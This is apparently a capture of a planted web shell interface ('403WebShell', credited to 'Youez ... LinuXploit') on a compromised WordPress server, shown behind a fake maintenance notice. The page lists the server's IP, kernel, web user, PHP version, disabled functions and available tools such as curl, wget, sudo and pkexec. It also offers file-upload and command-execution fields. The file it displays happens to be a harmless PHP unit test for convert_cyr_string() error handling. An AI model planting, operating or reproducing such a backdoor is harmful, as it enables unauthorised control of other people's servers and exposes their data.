WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/ext/standard/tests/strings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/ext/standard/tests/strings/convert_cyr_string_error.phpt
--TEST--
Test convert_cyr_string() function : error conditions
--FILE--
<?php

/* Prototype  : string convert_cyr_string  ( string $str  , string $from  , string $to  )
 * Description: Convert from one Cyrillic character set to another
 * Source code: ext/standard/string.c
*/

$str = "hello";
$from = "k";
$to = "d";
$extra_arg = 10;

echo "*** Testing convert_cyr_string() : error conditions ***\n";

echo "\n-- Testing convert_cyr_string() function with no arguments --\n";
var_dump( convert_cyr_string() );

echo "\n-- Testing convert_cyr_string() function with no 'to' character set --\n";
var_dump( convert_cyr_string($str, $from) );

echo "\n-- Testing convert_cyr_string() function with more than expected no. of arguments --\n";
var_dump( convert_cyr_string($str, $from, $to, $extra_arg) );

echo "\n-- Testing convert_cyr_string() function with invalid 'from' character set --\n";
var_dump(bin2hex( convert_cyr_string($str, "?", $to) ));

echo "\n-- Testing convert_cyr_string() function with invalid 'to' character set --\n";
var_dump(bin2hex( convert_cyr_string($str, $from, "?")) );

echo "\n-- Testing convert_cyr_string() function with invalid 'from' and 'to' character set --\n";
var_dump(bin2hex( convert_cyr_string($str, ">", "?")) );

?>
===DONE===
--EXPECTF--
*** Testing convert_cyr_string() : error conditions ***

-- Testing convert_cyr_string() function with no arguments --

Warning: convert_cyr_string() expects exactly 3 parameters, 0 given in %s on line %d
NULL

-- Testing convert_cyr_string() function with no 'to' character set --

Warning: convert_cyr_string() expects exactly 3 parameters, 2 given in %s on line %d
NULL

-- Testing convert_cyr_string() function with more than expected no. of arguments --

Warning: convert_cyr_string() expects exactly 3 parameters, 4 given in %s on line %d
NULL

-- Testing convert_cyr_string() function with invalid 'from' character set --

Warning: convert_cyr_string(): Unknown source charset: ? in %s on line %d
string(10) "68656c6c6f"

-- Testing convert_cyr_string() function with invalid 'to' character set --

Warning: convert_cyr_string(): Unknown destination charset: ? in %s on line %d
string(10) "68656c6c6f"

-- Testing convert_cyr_string() function with invalid 'from' and 'to' character set --

Warning: convert_cyr_string(): Unknown source charset: > in %s on line %d

Warning: convert_cyr_string(): Unknown destination charset: ? in %s on line %d
string(10) "68656c6c6f"
===DONE===

Youez - 2016 - github.com/yon3zu
LinuXploit